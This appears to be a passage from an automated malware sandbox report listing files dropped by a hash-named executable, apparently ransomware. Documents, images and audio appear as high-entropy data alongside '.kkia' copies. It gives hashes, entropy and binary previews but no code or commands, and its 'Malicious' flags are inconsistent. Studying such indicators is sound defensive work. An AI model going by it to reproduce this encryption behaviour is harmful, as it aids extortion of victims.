Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856963549422315
Encrypted:	false
SSDEEP:	24:Fv+jaaL4Kw/FQny/MK2IKbhq+rVcWA6cBBVfUtbE49radBCtTnAPOkbD:FaEKMFF/MKUY+qv60BVfkY496BCtTn+n
MD5:	B2AF2BED727E9DAFAD30643F0F1E40F6
SHA1:	210846F560FE470700CC683A34F271F54AAAA241
SHA-256:	8297399112F34384CD3587C1A41493265FE2F7C0615BC75BA534D8190A77B424
SHA-512:	E2EBE2460C5FA378C4918FDBE3617ECAC99D14821E5A7E5D8B161999682FF1FB73F392E1ED2ED5D1AB6C14520FADEEF9AEA9D8AAFEEA75730852F1D536ABAB66
Malicious:	false
Preview:	NVWZA..5..:+.....{..1..8j....N.(..A..b.L...................O..2.g.r..9./..c......^.3.Z...x....#%....V.....EF...+..8....`\|..Vy.,g....9..\|3.N.#.J.2..S...u.6^A.3..E;...v"..!......K9...>..y`'<.._m..p0....]...o.a0.w..QZ.d .T5...&.._._XHD.#....}J.... ..c.tlP.D.@.....0.B.]......"A...LV.......%.P.f......GTmmt....w.\....pZv.S.A.....yx.)....\|Q.>.....Z.A.Z.>.oL..CC0.......r.X..[)...... S.............9..K.b....A`....%....m}e..&......<s...L.Y!... );.d......V...#e........;%....6...."..gR.Yd...P..A?../...[^.@8.........pM.?.....7.....T-.$..i.Z4..0.M.\|...>...c.R..,..4...z.X.E......:uc.P....l..u. .'..z.........6Z)K..^.X.GQ...].Z.. ~...a.ux..N.9.F.3..2..X........=s...;..'.7..>vWxn(..;.t.)\|F.....gp.R3.....SO5....y..~....}P.Sf.../.Ll...1...En`.uEmKw..y...OH.$.....DX...f".~.........C..+.....#....=s.....G....0D.......n..e.r5..X../Q!.=5..W.z4...O.-aY.r.m...................s.@....L+.....,~x...X..v.v..\.^oq..-......-......c.A...li...F..\v...3....?!21*..

C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866773225105008
Encrypted:	false
SSDEEP:	24:RdbtcuNViZb79qSMo3WZhmaG8Fzvm4dhoIZRYNkAO0zOUq1G4cHu9MGtYziLkbD:H+uW7nR6vmohWNJHiUWgpG2OaD
MD5:	9F94E34E4EAC676B210940CD2A85CAC1
SHA1:	61F9068CE107865AC59369036A36BAA94BC9DF70
SHA-256:	E80383F9B53F3F04BA6C8581A27E6C4A89A9BAC7C76A051E6BDEC1C8755BF57F
SHA-512:	5BF407AF1AA4B8DE301595F4401F394BC84601B1E05083A7CA9D40FAEB55CAD78DA6B21B4CB576BDBBFCCEE0A9F78F1DC3CCAB690F71C65A80007F5C5DA50191
Malicious:	false
Preview:	EIVQS.....r/.26..E...Q..s{.3x.s.R<......@.GlO=...F..w..XG..R..>.p_V%9..k.jW............^.....5.A.6j/.O.........%....T.z;z..._5.....c4..YRla....v....h....v...?...l.........y..CT..W..G..........~..lp..G..Q..R.V$[.fm8..+l....$."...o.3r.$.<Z9a....h...O...t`.Y\|.0..E\...N..X.d......../y>..8...B..0..d/...vVt.V..cnP.......4..J.t..6Z....]Pw.........=.w.?J....o.....15).~dM...+..qS.x....k(;..xp..X?M....,...}.Z... ....%.....w.QGa9..#..'}.......N..g..sm0L......?.......I^..]z.,..#m.R,.l.q.#........].e.p?....U..5.09!.h.].v[.2...9.P...^B.1...Ct.....MX...)f(W..p..P...y...Thq!.67Po.K..;o.....VtW.v...3.\|...T^.x...."...>....I..IE....,kng.....D!.n......<z..X...g%Y.T.~....pB....\1L..J.Z.\m.......f..;...../)q.....L...G...,....}....PV./..s......=.\|a.j.. .+.(..b...[..=..3s4..k.....R!..p..WC.o.E.....@>..^.vn......R\.R.Xe.[<R&...N....-.<.6.5p_.....e1.<p...T..$.C1...dVzp..\.......X..b..}.\.q.:......x....'Z.l...fI..P$q...-...z...._....6...e.:...>.C&.a.r

C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866773225105008
Encrypted:	false
SSDEEP:	24:RdbtcuNViZb79qSMo3WZhmaG8Fzvm4dhoIZRYNkAO0zOUq1G4cHu9MGtYziLkbD:H+uW7nR6vmohWNJHiUWgpG2OaD
MD5:	9F94E34E4EAC676B210940CD2A85CAC1
SHA1:	61F9068CE107865AC59369036A36BAA94BC9DF70
SHA-256:	E80383F9B53F3F04BA6C8581A27E6C4A89A9BAC7C76A051E6BDEC1C8755BF57F
SHA-512:	5BF407AF1AA4B8DE301595F4401F394BC84601B1E05083A7CA9D40FAEB55CAD78DA6B21B4CB576BDBBFCCEE0A9F78F1DC3CCAB690F71C65A80007F5C5DA50191
Malicious:	false
Preview:	EIVQS.....r/.26..E...Q..s{.3x.s.R<......@.GlO=...F..w..XG..R..>.p_V%9..k.jW............^.....5.A.6j/.O.........%....T.z;z..._5.....c4..YRla....v....h....v...?...l.........y..CT..W..G..........~..lp..G..Q..R.V$[.fm8..+l....$."...o.3r.$.<Z9a....h...O...t`.Y\|.0..E\...N..X.d......../y>..8...B..0..d/...vVt.V..cnP.......4..J.t..6Z....]Pw.........=.w.?J....o.....15).~dM...+..qS.x....k(;..xp..X?M....,...}.Z... ....%.....w.QGa9..#..'}.......N..g..sm0L......?.......I^..]z.,..#m.R,.l.q.#........].e.p?....U..5.09!.h.].v[.2...9.P...^B.1...Ct.....MX...)f(W..p..P...y...Thq!.67Po.K..;o.....VtW.v...3.\|...T^.x...."...>....I..IE....,kng.....D!.n......<z..X...g%Y.T.~....pB....\1L..J.Z.\m.......f..;...../)q.....L...G...,....}....PV./..s......=.\|a.j.. .+.(..b...[..=..3s4..k.....R!..p..WC.o.E.....@>..^.vn......R\.R.Xe.[<R&...N....-.<.6.5p_.....e1.<p...T..$.C1...dVzp..\.......X..b..}.\.q.:......x....'Z.l...fI..P$q...-...z...._....6...e.:...>.C&.a.r

C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851911770264038
Encrypted:	false
SSDEEP:	24:FZiLqI8BMhj5x1SEHAjz8uPBMfE03i1SJZUCwBqKus2r7vr87HpNkbD:FZNNBEcEHAH8G43/Ock2/rfD
MD5:	07CAE0D25661F7D666950F96CBF3A6C4
SHA1:	09CD8B0C4EA45AE625B96045132EFC84DE2D8F7C
SHA-256:	87021CCA46B24D41B9D2B215AEF7567C927612BD05C3E9DC2BB52CE8455CEC90
SHA-512:	1DC9E58ABB4F04DC6299E24167EB602040899632768BA6CDFC126C69C3060FD3D42454C627C142D67DBF2016C579831ED2E687EABA7C4DD1FDA50E395786F0D2
Malicious:	false
Preview:	NVWZA..,_.u.[........q4.-.l.p.....c......u.N..t.."..l.....!...i.OYG@..2.{..:.9..M....A.Qll[EGh..:...}...3..../U....dL./..=M..r...f....\.(.....{...d.:...0.....6.SY.1..X...M.}\|......wd\q.)......n....1.j..HY1..F..<.K..1.".0......{~.K~.;..5...G.C...?...~..u!..........ue.....x.-....1TU.q.E]..]Q....\|..F.+......S..x.T...(.i.......-.p"q.D...G.4......V....R.^Hvb.....2.......A..Y"NZ.......F...B.stU......d;..x.XQ.!..B...-.~.B...m.!p_d..[;!.Ph.+.#.V.......'+.....)..........^G....J...../.0......'.\.d`..M..e.O..,..9K>.3.@.+kF.p.H.....J..o...#.+.........M...?WA...p.a?..q..`..b.........X..+ ...........T...ak^.s..N...... ...U......@w.%....u...qm..=F,....-1rH...-.U73.M.....8.5..T..55.uyA...[>K..zJ....j2..j..t..ey.Y.....r...~.......v[...xj.N..R..2...m.[lr.7Vc..10..)^3-.y..57.w]F......hR...u.._./6....?l..B_+6.X..T.....p.K.g...).sl.=.].P.,e6......s.tP.&..V..=I{<<.[.m.......9.D....;.Ya.u-ui....5..-5..Z!...;.,%.9i..*.2.E.x....j.;W.0U...>ry<...'.V.Y.....z.

C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851911770264038
Encrypted:	false
SSDEEP:	24:FZiLqI8BMhj5x1SEHAjz8uPBMfE03i1SJZUCwBqKus2r7vr87HpNkbD:FZNNBEcEHAH8G43/Ock2/rfD
MD5:	07CAE0D25661F7D666950F96CBF3A6C4
SHA1:	09CD8B0C4EA45AE625B96045132EFC84DE2D8F7C
SHA-256:	87021CCA46B24D41B9D2B215AEF7567C927612BD05C3E9DC2BB52CE8455CEC90
SHA-512:	1DC9E58ABB4F04DC6299E24167EB602040899632768BA6CDFC126C69C3060FD3D42454C627C142D67DBF2016C579831ED2E687EABA7C4DD1FDA50E395786F0D2
Malicious:	false
Preview:	NVWZA..,_.u.[........q4.-.l.p.....c......u.N..t.."..l.....!...i.OYG@..2.{..:.9..M....A.Qll[EGh..:...}...3..../U....dL./..=M..r...f....\.(.....{...d.:...0.....6.SY.1..X...M.}\|......wd\q.)......n....1.j..HY1..F..<.K..1.".0......{~.K~.;..5...G.C...?...~..u!..........ue.....x.-....1TU.q.E]..]Q....\|..F.+......S..x.T...(.i.......-.p"q.D...G.4......V....R.^Hvb.....2.......A..Y"NZ.......F...B.stU......d;..x.XQ.!..B...-.~.B...m.!p_d..[;!.Ph.+.#.V.......'+.....)..........^G....J...../.0......'.\.d`..M..e.O..,..9K>.3.@.+kF.p.H.....J..o...#.+.........M...?WA...p.a?..q..`..b.........X..+ ...........T...ak^.s..N...... ...U......@w.%....u...qm..=F,....-1rH...-.U73.M.....8.5..T..55.uyA...[>K..zJ....j2..j..t..ey.Y.....r...~.......v[...xj.N..R..2...m.[lr.7Vc..10..)^3-.y..57.w]F......hR...u.._./6....?l..B_+6.X..T.....p.K.g...).sl.=.].P.,e6......s.tP.&..V..=I{<<.[.m.......9.D....;.Ya.u-ui....5..-5..Z!...;.,%.9i..*.2.E.x....j.;W.0U...>ry<...'.V.Y.....z.

C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834343635532268
Encrypted:	false
SSDEEP:	24:W0kNAxl6OHxx3bCPMzBPcNkjeB7UrfR+sFXzPa+5IcN0fFnxNSpE0EH4ovlkbD:WCrHHCgBEgeBwr/FDZIc0Fnx8E0bovUD
MD5:	500B924A1DF0F120D5E9E095417C57B2
SHA1:	2EEE072AF31B085E92AB75488D035AE4F5635C1E
SHA-256:	6BBBCDC8C9D0222A1F30A70F8B446B5F1D0C587907E20D54291009879F7CEDB5
SHA-512:	D62ED7327E52032ED8F114969B1DF60FACEE81F3E3EA21E35C1A3BC9CBD2EC347C4E48FD093BF745684EC1781C7E252C80C458C9E8E3908D3CE0AC0697D613DA
Malicious:	false
Preview:	PALRG(.V..?.L.}.dW..q'i.LF;..+)^.4/.^/........5...L(.J..p.5-. 2j....f}..c...R......y.a....^{3/]r/i'.._.!...i..Ik.o....dq`U...9R.y.... '.....]}w.A...Je..'~.5.hA......f\|E.bX~(.:vG}.e.ud.)...CJ.....E.. .q}._.PE1BI...T..L...0g.....94.(..3..vF..:<b...z....D.).G...7......."...SY..\|...k....e.j_.(...u...>.R!.us...3#.. K.U.M!.........g.lb..C..L.f.wt.Xxj.F3.,.v;.u.....DO..G.......69..z......-...l......z..]f...%e...LSF....Z..Y#-..#.q~_E...A..1t{.=@.O#vy....K.Y.%.aF...L..C.b.9eLF.m._..l.....Q.tL.4..].3kL3..0~....G...#M..w....+F..4.\<.P...K.....!...(.~..c}`i.V..xm..H....~(d...z...j..^..eB.....^^}2.DXL.G.r..6.h.RB..9...i..kl..C.L..A.X...Lz.w\|...;.^0 \|s....%.....J.r.2B}..C..TfG>..\A.a...,..s]`.Zs..E[(...D..tD..M0../...r....DO;.N.8.!.~ .y.4:.1...y......=..,.Y......t.......C.F7Q.....@E...Q......G..Jwd.W.V..owY.4......Z.4@..a.H6.S...[W.}0.......9v.4...._.X....fc...Vo..c......fM.MK.5.P..`.Y`.G_.A.sM.]...g.....+....5t[..8W. ..4...]..4..}..Y).L5w.. ._...z..

C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834343635532268
Encrypted:	false
SSDEEP:	24:W0kNAxl6OHxx3bCPMzBPcNkjeB7UrfR+sFXzPa+5IcN0fFnxNSpE0EH4ovlkbD:WCrHHCgBEgeBwr/FDZIc0Fnx8E0bovUD
MD5:	500B924A1DF0F120D5E9E095417C57B2
SHA1:	2EEE072AF31B085E92AB75488D035AE4F5635C1E
SHA-256:	6BBBCDC8C9D0222A1F30A70F8B446B5F1D0C587907E20D54291009879F7CEDB5
SHA-512:	D62ED7327E52032ED8F114969B1DF60FACEE81F3E3EA21E35C1A3BC9CBD2EC347C4E48FD093BF745684EC1781C7E252C80C458C9E8E3908D3CE0AC0697D613DA
Malicious:	false
Preview:	PALRG(.V..?.L.}.dW..q'i.LF;..+)^.4/.^/........5...L(.J..p.5-. 2j....f}..c...R......y.a....^{3/]r/i'.._.!...i..Ik.o....dq`U...9R.y.... '.....]}w.A...Je..'~.5.hA......f\|E.bX~(.:vG}.e.ud.)...CJ.....E.. .q}._.PE1BI...T..L...0g.....94.(..3..vF..:<b...z....D.).G...7......."...SY..\|...k....e.j_.(...u...>.R!.us...3#.. K.U.M!.........g.lb..C..L.f.wt.Xxj.F3.,.v;.u.....DO..G.......69..z......-...l......z..]f...%e...LSF....Z..Y#-..#.q~_E...A..1t{.=@.O#vy....K.Y.%.aF...L..C.b.9eLF.m._..l.....Q.tL.4..].3kL3..0~....G...#M..w....+F..4.\<.P...K.....!...(.~..c}`i.V..xm..H....~(d...z...j..^..eB.....^^}2.DXL.G.r..6.h.RB..9...i..kl..C.L..A.X...Lz.w\|...;.^0 \|s....%.....J.r.2B}..C..TfG>..\A.a...,..s]`.Zs..E[(...D..tD..M0../...r....DO;.N.8.!.~ .y.4:.1...y......=..,.Y......t.......C.F7Q.....@E...Q......G..Jwd.W.V..owY.4......Z.4@..a.H6.S...[W.}0.......9v.4...._.X....fc...Vo..c......fM.MK.5.P..`.Y`.G_.A.sM.]...g.....+....5t[..8W. ..4...]..4..}..Y).L5w.. ._...z..

C:\Users\user\Desktop\NVWZAPQSQL\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836401234441214
Encrypted:	false
SSDEEP:	24:loaiSmF2QLC/lIiTIXWFU9/HyqdcLLsgtsSuSLS8+Wf8SKDVZt1Pjbb2J9DzRiR8:loSmF1nWO1/dcImNMEHKxJjbb2JJuID
MD5:	137A847B69F5EAD14B0F614D7CFBF640
SHA1:	8AF25E8E0EC454CA315A7955CE9EFEF2D740F693
SHA-256:	F9CA123E28864135972E6DA83F37CF276BA781688B407BB5F0D8A7AFCA71365C
SHA-512:	419CD492171A239A780751548B350587E58E247E3E57DDBD2C444101CE800FB88CA992E55570895E3EF535AAD2C92C4B3730BD25FF693417D127EA7D7CC4389D
Malicious:	false
Preview:	TQDFJ..]:J.w.....tW....)}.[..."..C.]..x.u.\|...]a.y........5..<....q..o..1&blB.c.g9....T.X...P...T....\....PO@i...NS..F......N.:.L..._L....F8,.%...g..H[.0.^.ns.......~S.;7...U.lj..<."K.0..z8...f.....\....zo...f.......j.vFRU..qu\|m....e...F."..t.9...jn... `$.`.d.mL..B....Ze(...f.`T.X.B-.~&....y1...L....:.j..w...y-8f.F..`_.HC-\|%=....~bC...=?A.X...VS..t^..qh7-....<.._..h..SW.A..o..9.....y.h.....k.S.R.\|oI$S...W..ks..mZ...+.....d..<./g\|..u2..%.D.. ...H+v.%e./3]...7.x.I...t.f...a,..P....K.k...e..W3''.Akk.g......."..~..8.?s9..V...@+g..d.-.I.Vl...6W^U.#+.......s..`...y...=......>..q.V....A......Op.G..V.7...;..v qDp.3bN.P....nq.K..VG.8i....AB)z...=...0.=V....UW.7'.$;...W.c..:....f.Y........PaT-.fv..E.G...............x...M......c.N.x.1...b9..u.!..T....#(...)=b...".BE..V. .I......e....^L....H.e....5...KG.........k..j...[..j1f)4.v...2.@..,A..?..O..@...MV.+.../..L...X...)LQ..P.J.w...7[.../)g.......c<..LKcc.w.).c...e<P..Hx.W>wr:..N.l......N.YRu..

C:\Users\user\Desktop\NVWZAPQSQL\TQDFJHPUIU.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836401234441214
Encrypted:	false
SSDEEP:	24:loaiSmF2QLC/lIiTIXWFU9/HyqdcLLsgtsSuSLS8+Wf8SKDVZt1Pjbb2J9DzRiR8:loSmF1nWO1/dcImNMEHKxJjbb2JJuID
MD5:	137A847B69F5EAD14B0F614D7CFBF640
SHA1:	8AF25E8E0EC454CA315A7955CE9EFEF2D740F693
SHA-256:	F9CA123E28864135972E6DA83F37CF276BA781688B407BB5F0D8A7AFCA71365C
SHA-512:	419CD492171A239A780751548B350587E58E247E3E57DDBD2C444101CE800FB88CA992E55570895E3EF535AAD2C92C4B3730BD25FF693417D127EA7D7CC4389D
Malicious:	false
Preview:	TQDFJ..]:J.w.....tW....)}.[..."..C.]..x.u.\|...]a.y........5..<....q..o..1&blB.c.g9....T.X...P...T....\....PO@i...NS..F......N.:.L..._L....F8,.%...g..H[.0.^.ns.......~S.;7...U.lj..<."K.0..z8...f.....\....zo...f.......j.vFRU..qu\|m....e...F."..t.9...jn... `$.`.d.mL..B....Ze(...f.`T.X.B-.~&....y1...L....:.j..w...y-8f.F..`_.HC-\|%=....~bC...=?A.X...VS..t^..qh7-....<.._..h..SW.A..o..9.....y.h.....k.S.R.\|oI$S...W..ks..mZ...+.....d..<./g\|..u2..%.D.. ...H+v.%e./3]...7.x.I...t.f...a,..P....K.k...e..W3''.Akk.g......."..~..8.?s9..V...@+g..d.-.I.Vl...6W^U.#+.......s..`...y...=......>..q.V....A......Op.G..V.7...;..v qDp.3bN.P....nq.K..VG.8i....AB)z...=...0.=V....UW.7'.$;...W.c..:....f.Y........PaT-.fv..E.G...............x...M......c.N.x.1...b9..u.!..T....#(...)=b...".BE..V. .I......e....^L....H.e....5...KG.........k..j...[..j1f)4.v...2.@..,A..?..O..@...MV.+.../..L...X...)LQ..P.J.w...7[.../)g.......c<..LKcc.w.).c...e<P..Hx.W>wr:..N.l......N.YRu..

C:\Users\user\Desktop\NVWZAPQSQL\UNKRLCVOHV.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844613358889388
Encrypted:	false
SSDEEP:	24:lvyc/I8v2kARWhC8HYkG+BKgwrYPQNUE7z9htxNVy722lyy85+FP1azP0t51sGNW:dn/34RWsTfn1rYPQm0z9DxL6yy8451aT
MD5:	8CB52B462F687B174DB7711B6406A867
SHA1:	D66B1080C01D47649FD361E36C0FE791F3B4B989
SHA-256:	804CF8B42D094224B3015383B02A9AA40D000D10F77F9336C6489CC4FD766EAB
SHA-512:	E6A8BB835558006CB94FEF3059C671A45E3FF5A184F979E84411E1C58169EA688AFFD924F0B7817577F83D96F39E195E29C98C0F8C14EEE9A88E5A2BC3B15BF4
Malicious:	false
Preview:	UNKRLh....'........w.L.....8....-..D.Yfj......DF#..D...\..w.hI.M.b..6.\|.p>.A..C..?S._T.....0...t.Fw..3....&......1IR{..,!.W{._....2.%.5.".n:......d6...+.-Dd..O...1....g=...U.;."...^"{....!..W..0..Ph..L.....,....;......j.f...)m.#..#s-.YB.B....8.o......._....!..].p.....e..cz.d0g.X.;.fF...^..gM.A.YO...G..{...7..$._.N...."x..H.,{8.rg...F(...O.0.Gr.$..g...[5y\|..0..E....e.k.+...f.s.>f..%/.Sqa.:.0.....1u........1....R.04..../.P.b.r....[k.D..H\2>..y..-.p)X.=c}.4.c.0.?..\|.@x....Bys..yo....yu.8>q.7.9......a@..U...m......!....0.%mb.(w..g/.e.i^...[.........;5.;b?.f....:b..nfo..k.O....#..K-..Z....).)Wah.S{K.q..l.h......\|.}..m.r...?).......{+.`.n......7s....7W.rm.....#..b.-...6....f\.=^....N....8.(. .(..&.;.`b.Hg..f....{...:..\|.m....{.F.\.....6:.$I...=.=..8........B...M2.....x...P9..gM..s7...n.S....E..T...8%.I1....J.....f6..*..i.-..7.g$MD.........W.].y}..E....g...'..{.%....[..6..,.#;d.R.......C...-.....b....E7...A.4.$\.y..~....2..k....Nz...G..I...@C.

C:\Users\user\Desktop\NVWZAPQSQL\UNKRLCVOHV.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844613358889388
Encrypted:	false
SSDEEP:	24:lvyc/I8v2kARWhC8HYkG+BKgwrYPQNUE7z9htxNVy722lyy85+FP1azP0t51sGNW:dn/34RWsTfn1rYPQm0z9DxL6yy8451aT
MD5:	8CB52B462F687B174DB7711B6406A867
SHA1:	D66B1080C01D47649FD361E36C0FE791F3B4B989
SHA-256:	804CF8B42D094224B3015383B02A9AA40D000D10F77F9336C6489CC4FD766EAB
SHA-512:	E6A8BB835558006CB94FEF3059C671A45E3FF5A184F979E84411E1C58169EA688AFFD924F0B7817577F83D96F39E195E29C98C0F8C14EEE9A88E5A2BC3B15BF4
Malicious:	false
Preview:	UNKRLh....'........w.L.....8....-..D.Yfj......DF#..D...\..w.hI.M.b..6.\|.p>.A..C..?S._T.....0...t.Fw..3....&......1IR{..,!.W{._....2.%.5.".n:......d6...+.-Dd..O...1....g=...U.;."...^"{....!..W..0..Ph..L.....,....;......j.f...)m.#..#s-.YB.B....8.o......._....!..].p.....e..cz.d0g.X.;.fF...^..gM.A.YO...G..{...7..$._.N...."x..H.,{8.rg...F(...O.0.Gr.$..g...[5y\|..0..E....e.k.+...f.s.>f..%/.Sqa.:.0.....1u........1....R.04..../.P.b.r....[k.D..H\2>..y..-.p)X.=c}.4.c.0.?..\|.@x....Bys..yo....yu.8>q.7.9......a@..U...m......!....0.%mb.(w..g/.e.i^...[.........;5.;b?.f....:b..nfo..k.O....#..K-..Z....).)Wah.S{K.q..l.h......\|.}..m.r...?).......{+.`.n......7s....7W.rm.....#..b.-...6....f\.=^....N....8.(. .(..&.;.`b.Hg..f....{...:..\|.m....{.F.\.....6:.$I...=.=..8........B...M2.....x...P9..gM..s7...n.S....E..T...8%.I1....J.....f6..*..i.-..7.g$MD.........W.].y}..E....g...'..{.%....[..6..,.#;d.R.......C...-.....b....E7...A.4.$\.y..~....2..k....Nz...G..I...@C.

C:\Users\user\Desktop\NVWZAPQSQL\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853622189426601
Encrypted:	false
SSDEEP:	24:oAoKdJ0LNyxJK9eJvptgJwKMjKbYTVWw4LOK5Sd+UUumh/Kc9HQ9KQykbD:XoqJ8yCEvptbKMjOYTVWdi5djmh/Kc98
MD5:	CA593A7F54858DF84E8FFFFE9D13C5B4
SHA1:	CE3E8B08DB1247E9EAE88CF22644F8CC08F23CFD
SHA-256:	6BDF92D8F303DD71A070D1B7BA0D4CA14F90D10CD70A56DC3BA93C298494321F
SHA-512:	F3A349651EEF9BDF55509F7CA560BAF0439E1F4FCE4AA4196DF21EA48C30834782E01CB51CA815CB7FDBDFADA229BA7C64B056E99C9B22E4FC909C018C77131E
Malicious:	true
Preview:	ZIPXY...R...GVU...Q..g.m.(...[]..^.....oA.N.U..{..1~../..>....jWZ..B3.dt.p0...\|......\|..=$...n~/8......Yag_.~._\.on..Z..0.M.+.......f..!J..c!...._....E>.../.I.}.\|..L&.ts.Ck..PX..,.U(.F5rZ.!.W......kKr3.h..K(.R.X.'T;.3....e.....S...2.W..v.7Y.:.\|.X>..w........pp.J..1x..E......e.-f.\|..k..v.i.\i.....}.j.6.'aM..o\.W.. ...N.].V.....@Z.C....{.[....p...(....Ac.a#X....&E....]..L ...+f.....).....S..7)...g2..4.].$.Y\|Ra.8k....J.kOz{2...i...Q.8.L..........]f....m........keL..j_g.\|..p_S...%)....._._.be..2FD.......@8\......6...F..:.....2`...GF.4."...]S=..X.s.....C.'....o.y...?..6.X....^Hyw.,oYO........>.s.7._.m.>..PO.........y..!.....5...g.<.WcVl.N.7..6....@yV...k..8..;B.....Lu>X.<xm.y.!W..m.oX.u.;b.v..q...0sbO.zNe.Q.5(.E....[..2~..{.[..[...x .....<L...c.DI.q.T0e.&.'.e...+.iU ..fsP....4k....0.....:<.6.^..C...=.v....o..]..<. ..}..@....Mj..^.......Ej.n...<.R\|B.:.e............4Q...\._.k.?q.S..1.W....Og:..8.Wc...z......../j.._.....ow2].w.+.<o.q.2P?.

C:\Users\user\Desktop\NVWZAPQSQL\ZIPXYXWIOY.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853622189426601
Encrypted:	false
SSDEEP:	24:oAoKdJ0LNyxJK9eJvptgJwKMjKbYTVWw4LOK5Sd+UUumh/Kc9HQ9KQykbD:XoqJ8yCEvptbKMjOYTVWdi5djmh/Kc98
MD5:	CA593A7F54858DF84E8FFFFE9D13C5B4
SHA1:	CE3E8B08DB1247E9EAE88CF22644F8CC08F23CFD
SHA-256:	6BDF92D8F303DD71A070D1B7BA0D4CA14F90D10CD70A56DC3BA93C298494321F
SHA-512:	F3A349651EEF9BDF55509F7CA560BAF0439E1F4FCE4AA4196DF21EA48C30834782E01CB51CA815CB7FDBDFADA229BA7C64B056E99C9B22E4FC909C018C77131E
Malicious:	false
Preview:	ZIPXY...R...GVU...Q..g.m.(...[]..^.....oA.N.U..{..1~../..>....jWZ..B3.dt.p0...\|......\|..=$...n~/8......Yag_.~._\.on..Z..0.M.+.......f..!J..c!...._....E>.../.I.}.\|..L&.ts.Ck..PX..,.U(.F5rZ.!.W......kKr3.h..K(.R.X.'T;.3....e.....S...2.W..v.7Y.:.\|.X>..w........pp.J..1x..E......e.-f.\|..k..v.i.\i.....}.j.6.'aM..o\.W.. ...N.].V.....@Z.C....{.[....p...(....Ac.a#X....&E....]..L ...+f.....).....S..7)...g2..4.].$.Y\|Ra.8k....J.kOz{2...i...Q.8.L..........]f....m........keL..j_g.\|..p_S...%)....._._.be..2FD.......@8\......6...F..:.....2`...GF.4."...]S=..X.s.....C.'....o.y...?..6.X....^Hyw.,oYO........>.s.7._.m.>..PO.........y..!.....5...g.<.WcVl.N.7..6....@yV...k..8..;B.....Lu>X.<xm.y.!W..m.oX.u.;b.v..q...0sbO.zNe.Q.5(.E....[..2~..{.[..[...x .....<L...c.DI.q.T0e.&.'.e...+.iU ..fsP....4k....0.....:<.6.^..C...=.v....o..]..<. ..}..@....Mj..^.......Ej.n...<.R\|B.:.e............4Q...\._.k.?q.S..1.W....Og:..8.Wc...z......../j.._.....ow2].w.+.<o.q.2P?.

C:\Users\user\Desktop\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868873066201836
Encrypted:	false
SSDEEP:	24:OKPN0E6Z8dy9pOBo0WR49TUJ664ryZkcYiT/mN2D7iZl0xk/crLb2/UkbD:RPyvZ8dOY9Tjp3c3KN2DuZmxkQLb2hD
MD5:	1858D0462001A29411CEA3D9C77B7546
SHA1:	735778EBC78EB8779006405494296D27AE34E780
SHA-256:	26FA16D2DA0D8F9BF8B9863930403670BA95BB783DDF1646F280A98570F8C364
SHA-512:	4920A253A51BC2D455FD4524FE4ABFAC527DA7B471DD10ECD6350B384C2E75CBEB6DB8AC65A375B6833285547BEDE42867F54423418C0DF93CBA3C5A3A764037
Malicious:	false
